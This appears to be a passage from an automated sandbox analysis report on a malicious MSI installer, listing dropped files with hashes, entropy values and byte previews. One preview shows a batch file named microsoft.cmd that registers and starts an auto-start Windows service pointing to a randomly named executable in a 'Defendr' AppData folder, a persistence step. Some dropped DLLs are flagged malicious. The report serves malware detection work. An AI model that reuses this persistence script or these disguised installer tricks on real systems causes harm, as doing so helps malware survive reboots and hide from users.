Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv7.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	97511
Entropy (8bit):	7.998029934840964
Encrypted:	true
SSDEEP:	1536:BW6YRAslfDTP4mykxKthRKjv4UCAnhfIMHsIeIVmwRXuZBDej5l7ahUn70N2x9Ro:oesl77DAhBzmRIGsWR8FejX4i9ib
MD5:	53BFA45DC4DF8F99473480A954EF3981
SHA1:	53A74C7CF7AD41FABB4609C7EEB5BC3428B55B1F
SHA-256:	A0F2039554A03DB416709C08D36012CBF5A8EA313C258A58B7EF43DC947A1AAA
SHA-512:	86E390863EF48232BE511B1035A0B58888EE25FF708C659DB94562DEF0EF6B4A1907EDB00287612DF4F91A13647D9471FC0ACF092E225A009EB9ABC38D4B0A44
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv7.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	30258
Entropy (8bit):	7.994163063127342
Encrypted:	true
SSDEEP:	768:BW6NiqLRJ1pIsEine4QTOvc8k2VIx3b+mUZhFs/eZ:BW6gqHjEjavc/ZsFh
MD5:	F2320A86A314A2B869E484BE85AA6DA2
SHA1:	E4DD98178CC70A9C3861BE10539DD9EE44797F0E
SHA-256:	C0908DBA50A0B348646C7D12E7C2E247EFB76807C7DDB8911E9D4A354ECFD320
SHA-512:	D9C5D20CFC30A1C476B7C75549CE328A8E0DB273BE7D95AAA3682EE9B2B9D5F99FFF38D0B1DEA610B39B22B4B6AD76ADE47E164536D13BB12DAF6D0316BB8C57
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv7.2.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	43405
Entropy (8bit):	7.995486194210034
Encrypted:	true
SSDEEP:	768:BW6N6duWjixltgJ/YtP0CFdNOek7IsT/KsQc7T5sFYBGdqxWMl6NPjAu:BW6UdAxltw0TNOt1T5kNdQWMENPj5
MD5:	038BD3AFC1C645309EA2AC8241FAEA4E
SHA1:	5994BCD83A0FFC73AC95C04E72A760E0CDE69AAA
SHA-256:	62EA1884D2CA67157D5B5706EA9ECB04CEAC87EE43C6F776849075D6EF77558C
SHA-512:	4EE4834975DCB18F0752FF82FE22E0E72BB658FA210088F8D29C7AE6BB0DDFC4D3CE624CD4CAE777429B32CA63997EFBAED87457A599D315C2314B6360E3C2B4
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv7.3.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	59084
Entropy (8bit):	7.997061813185959
Encrypted:	true
SSDEEP:	1536:BW6sdKNDauCui6bsn6ueXzMDGMw5AuOGt1K2qyuqdMUgOlKSo:oFdA+uzbTWwoGt1Hv3o
MD5:	EA95C5772F569691D94170C70962F47F
SHA1:	BC6FE7868B681FF643C78F7B02B2C79A7FF6D53E
SHA-256:	2F47E1C26AD874F6D7DB789195A379A6C48F0FD6C29CFE074A1B5EC5ECE975D5
SHA-512:	6475BDA81B9E27E6873794DDDF6118E36F7B7F5E47CECD682C078746B9ADDA5BDDBE8CAC63E794A0E63B3F1E53D946B70B0128795AD1B134D26D2246F19BCC41
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv7.4.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	81522
Entropy (8bit):	7.997658728209986
Encrypted:	true
SSDEEP:	1536:b3X4cXIoB/iOrydkB5xlW5mYiUBse73BnDPO/tGVI0zfJrNcO:zX4cJ7ydkB5mS8sm3BDG/0I0xcO
MD5:	C73202DDFB9FFDD67A33F1DACAB45698
SHA1:	64A4CF5CF5F44FEDA94DC39598D72A87E822AA90
SHA-256:	4605673AD3A8E30731A88C0AC09350B4691D6FFA035F7780213AA43A52625B1D
SHA-512:	A2FBAB8F0EF496286D83C915427021D393E5709C00244B051AD9785B028919FE8EC5A96E40597A94C95A79658F90229E59379FCDF4255AAE8C22706033D0BD2E
Malicious:	false
Preview:	.#D...e..,....<....`......./\.r49FHl#.:...\.2,....W_.{.Z..E.#.L..B[.z....S.N.....Z.On..eT-.m..t.%..K....Gc.y...r....FnD..a.....r.`.@.I...e91Y.bh.......F...~#..........Y.>.]X.O....d.d........3.FN.O.9a....[39.xdw..........C...h~..\|..Q...i.[...w.8.w.xz.....H....v.......e.OO.3..ul...y..3...`.C.,.1.P%.cw@...v..\ .......O&.M.....+..NI.0......5...y}..V...b..(_.l.).q{.in...dRL...mm...?[..Qjx."f"..]>..P.b..zl$?.f'h#z1...?..c.\|.0....... .>?.j..`<.o.S...+.\...U.l:._U.-.."c.#..g[.W.V)?<......&....kzR.2.....N....;-K...<aS.....1.Y....w..7k/y.MS.S..\|....W.9...q.U..d.0T.......;.l.......%..... %.T...l<...7.i(2]?......Y.....Ni...j..R...@....3....z...%..[.,..f..9].....B..'..jGN../.3....tF2.....4...I....C:Q6.....B.1Y..K..P@..J....:!....H......Z<..iC....l.p....\25].Se.A..#.D......i..........G[......)..I ..#[....Ln.O.W.']9..ht.p-...O.F.BAcK..Z......^.....K..`..-..1,.....j...e.v.>.l.{D.1"&..RV...0....M.X..0...~./...]..J.w...;.d....".....d6E..s.R<f.

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv8.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	99558
Entropy (8bit):	7.998126987043341
Encrypted:	true
SSDEEP:	1536:BW6i/7u5pOXNGa8SHdDghoUY5IxeOvcrLK82rYi0AH4THvDR6g6dRQ5c:ovz2IXoa8SahoUPxeOkrW82aZb7RIQ5c
MD5:	DA245CD9A3C4B3C3801D3AF51F65669E
SHA1:	B4CBF06B1741C6F11BFCB70AF71648E9CD303AFA
SHA-256:	4ED05DA6232A33F423440381F7537F81D7A191869F61CADD46503A6219F61956
SHA-512:	4D7085D14DA5A9801503F42BDA2B638DDC39D3F7B2DC4C0F19D4E1F24257906711CBE88C5B93398EB26731532E8C2D649E629DB32782DF41D8A8A293D0C3BC0C
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv8.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32921
Entropy (8bit):	7.994624642930536
Encrypted:	true
SSDEEP:	768:BW6NewJwOQjdH/VducqYXlA3KZQcd61iEntb8LGAv6kpUtk:BW6jJefPqYXa3KNdHEtb2Xv6kKk
MD5:	83F1BCCDC2F210D7DE086FC737916F39
SHA1:	9CDE2A6162D3DA680ABCE27F73014762F9F3ACAD
SHA-256:	B00A874071BAC257B2FD82634301D93F2EF93AD7B2B6FA4CA59081C674E58083
SHA-512:	DD1620B4445E53DEF839D461853CA5819624EC45CBB7794A7A564B5317BFBE2E0A4CCE29BCA3990599E2CC4D056889A0025AA70FDAE2851BBF3244B22F40BFA5
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv9.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	95672
Entropy (8bit):	7.99801011413176
Encrypted:	true
SSDEEP:	1536:BW6YIBIE5MDNsiGv7/8/ieUvSZZht/paxFn9UyFELTsX3wt2JIaG0Q1WWTRDdXLo:o5IBNMDOHvL8avSXht/U2yFELwXAO1Gk
MD5:	4B55B9B8CD72784B8F4E86594C976C38
SHA1:	153DC16E17AD981DA1B8A9D990E00061D54CD49E
SHA-256:	9E3F1E22A087D3714AFD5E5C25817CB5D92F9DD158DBD5995D7E7B7FA7963C0C
SHA-512:	87E0FF6C0B087BC060F7B6F9D5A514FDEAB835A1153FC6A01A6D36E9765F4B9335C5281CB9CC832F0117F11030A104AB113057EDB6861508F8229870686C2E34
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv9.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	30417
Entropy (8bit):	7.993108204768856
Encrypted:	true
SSDEEP:	768:BW6NHiPM2oCLwxHKaLMuIkdA/ceBdhiuP9vyRPMtoeVYbCluQ:BW6GLw418AjdvURPUYuv
MD5:	A227291090374BE07560BE98E820569E
SHA1:	79DE95ED367C987D0F2C009799E91C8D6EAD2127
SHA-256:	1BAC6A4DA0B8762762846D3828510696B82B9DACFC9341CF79A659863B328937
SHA-512:	21EFE5395D5CF59D60DABEAA2A6E83625571522EADD660C0EF1D599EBBEA5053ED381494EA46652CBD2AC994F09895F1249CC938F0BC42B28807815FE192F4BC
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\volume.dat

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	3837968
Entropy (8bit):	7.999950964389055
Encrypted:	true
SSDEEP:	98304:LMCeB3jTmrDYnk1L1ukkbCNlld3dWxUMV6VjwZU:LMCezTmri01rkuNlzQzU
MD5:	E675AB78BEB2521ECD33AC9D1D5CAC7E
SHA1:	0116F377966C27D045FADEB45C573F7D893A6619
SHA-256:	DB3C706993AD3217AC22EFC4171DCCF8A801C780623244429C88E642F7F32747
SHA-512:	E2F991C62C5247D5AD86A8E8F450FF9F4DF82DC8F8F4BB518730D5EF1D6C9FB500908346940D8B2F654B6034A12808C768855C8EAD689B7A03B199049D197FA2
Malicious:	false
Preview:	ff...X...k.r)....z]v..=O...p..f.. ..k;...Id...L!..=..^V....2K ..6.l..J..".@...s2\:!.Au....7....$. ....l.T.a...~...z.9.$....9.../=..H.X^..":?..G...K..T.....NFf....=.$.....;..t.K...Ho..R.....2........7.......3..'..e2.@.S2.4'BG. .n...g.m.(......+...?....H.\.~SF>3..1..aip.<..xw.d..sDSOB.Zg~.....M......1....Y.x...9..R.%`.N..V.{2..<kdiW......;..........c..f./M.H..s..d....M5.i....(`AY....+.[.7.?...".u.v..z(2M'U\|...)L.!.O.F..v..C.b(..n...c.._F......l.2...S...z.....(9..$+..[L.-O.SDqv04_<6N.\|.^.;W..........)FT.5.cm4...-.0<"..&..'X...G...mh8.\..S.JD....33....J-...z.r.E.g7.Z$[!...;.....6-4j..J_.;......-.+L........q.#..x <`.$...p.S>.]...._..8,.7]5:."X<W!....'0..^.?.-!..dU.hUp..B....k..7..;G...{.....%.?..C..Wz.....\|....<.'X...8....L.........B...M... .+c..&>.....X-ad......:.?..'...L.J.U.C.w0.%4.....\..)..T.b..T(Z.........F?\|.........G3iu..6.r=.a.$..)w.aOf.rm..!1...z...u......-`'.+lFRBn..<wR.%.;..s.2va...U...).;....{.y..$D;..M....9........<.N.N.J....(

C:\Users\user\Documents\microsoft.cmd

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	DOS batch file, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	376
Entropy (8bit):	3.5009610910379543
Encrypted:	false
SSDEEP:	6:QIcCNvKlLvtG8qmwY6lhXylg4TEN0V0Bnf2E3DYlfEKsyfMaKlLvVE3DAzYR:QIYjMNOlTEN0V0RuiEFujViZ
MD5:	0870ADDEA2A06011CB585BD56A0B7846
SHA1:	CD1120E599B0884E1D911BC895B455DC12AC11C8
SHA-256:	A4F875F169C9D93BDADE5677C915CD36524939493EBFC1EEE011DA4B125B2DCA
SHA-512:	360883ECADA8EE34D25F85F6D8D88DACFBA972F4E1670F35C9A1C278BA466D83F10411DAEBCA74B37B52007DA54963BDEEF8DC2510CB7A3EEA8228700F9D23E4
Malicious:	false
Preview:	..@.e.c.h.o. .o.f.f.....R.E.M. .-.-.-. .C.r.i.a.r. .o. .s.e.r.v.i...o. .-.-.-.....s.c. .c.r.e.a.t.e. .M.e.u.S.e.r.v.i.c.o. .b.i.n.P.a.t.h.=. .".%.a.p.p.d.a.t.a.%.\.d.e.f.e.n.d.r.\.L.K.d.a.y.a.n.J.E.L.T.9.Q.D.D.9.0.0.0.5.5...e.x.e.". .s.t.a.r.t.=. .a.u.t.o.....R.E.M. .-.-.-. .I.n.i.c.i.a.r. .o. .s.e.r.v.i...o. .-.-.-.....s.c. .s.t.a.r.t. .M.e.u.S.e.r.v.i.c.o.........e.x.i.t.

C:\Windows\Installer\4fc2c3.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {2710902A-DCAA-44B4-8B49-B1FC596E5C13}, Number of Words: 10, Subject: Aplicativo Windows, Author: Microsoft, Name of Creating Application: Aplicativo Windows, Template: ;1046, Comments: Aplicativo Windows, Title: Installation Database, Keywords: Installer, MSI, Database, Create Time/Date: Sun Aug 4 16:04:58 2024, Number of Pages: 200
Category:	dropped
Size (bytes):	24303616
Entropy (8bit):	7.972209605713355
Encrypted:	false
SSDEEP:	393216:JuG9qH2v09bLYik+rU9QmbFUyz520rA2/o/vW9jabEXtPYqjsMuvu58tdy4cR3Ji:IJPnkUwO4QiFTXtPAMG48+4W3JB
MD5:	7CD5DD8962AE35D5A64959401F8F1F29
SHA1:	871C93A994AF6504BBB34EB08F7DB4004B21500B
SHA-256:	1CAA3142C570E908B30B7A8195F84019DFCA88619C6971D377A88BDDA34572AA
SHA-512:	D901D87DD685BFDDC7E4C763E0092405A14F9105E381330AB9B46D812C0C276F7B622F8852224E29AEDDD88D985F8208FDEBA66CD00FE916ACCEBCA917BC2713
Malicious:	false
Preview:	......................>...................s.......................'...........G.......c.......u...............................O...P...Q...R...S...T...U...V...W....................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...............<...............#...4........................................................................................... ...!..."...,...$...%...&...'...(...)...*...+...1...-......./...0...5...2...3...=...?...6...7...8...9...:...;...E...4...>...F...@...A...B...C...D...................I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\MSIC60E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.469032452979565
Encrypted:	false
SSDEEP:	12288:g+zdBoU6TPAjp66Ulgc2zGz5gCxOWIGvn:HBoBTopk1QGz53sWIGvn
MD5:	CADBCF6F5A0199ECC0220CE23A860D89
SHA1:	073C149D68916520AEA882E588AB9A5AE083D75A
SHA-256:	42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0
SHA-512:	CEBB128BDC04E6B29DF74BEDCC375A340AC037563D828AF3455DE41F31D2E464F82F85C97CA9910A4A7C819EFA906AA4A4560174F184CEE316F53E3D2B5CDCCC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L...R+Jd.........."!...#.<...........W.......P...............................0......5R....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIC6BB.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.469032452979565
Encrypted:	false
SSDEEP:	12288:g+zdBoU6TPAjp66Ulgc2zGz5gCxOWIGvn:HBoBTopk1QGz53sWIGvn
MD5:	CADBCF6F5A0199ECC0220CE23A860D89
SHA1:	073C149D68916520AEA882E588AB9A5AE083D75A
SHA-256:	42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0
SHA-512:	CEBB128BDC04E6B29DF74BEDCC375A340AC037563D828AF3455DE41F31D2E464F82F85C97CA9910A4A7C819EFA906AA4A4560174F184CEE316F53E3D2B5CDCCC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L...R+Jd.........."!...#.<...........W.......P...............................0......5R....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIC778.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.469032452979565
Encrypted:	false
SSDEEP:	12288:g+zdBoU6TPAjp66Ulgc2zGz5gCxOWIGvn:HBoBTopk1QGz53sWIGvn
MD5:	CADBCF6F5A0199ECC0220CE23A860D89
SHA1:	073C149D68916520AEA882E588AB9A5AE083D75A
SHA-256:	42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0
SHA-512:	CEBB128BDC04E6B29DF74BEDCC375A340AC037563D828AF3455DE41F31D2E464F82F85C97CA9910A4A7C819EFA906AA4A4560174F184CEE316F53E3D2B5CDCCC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
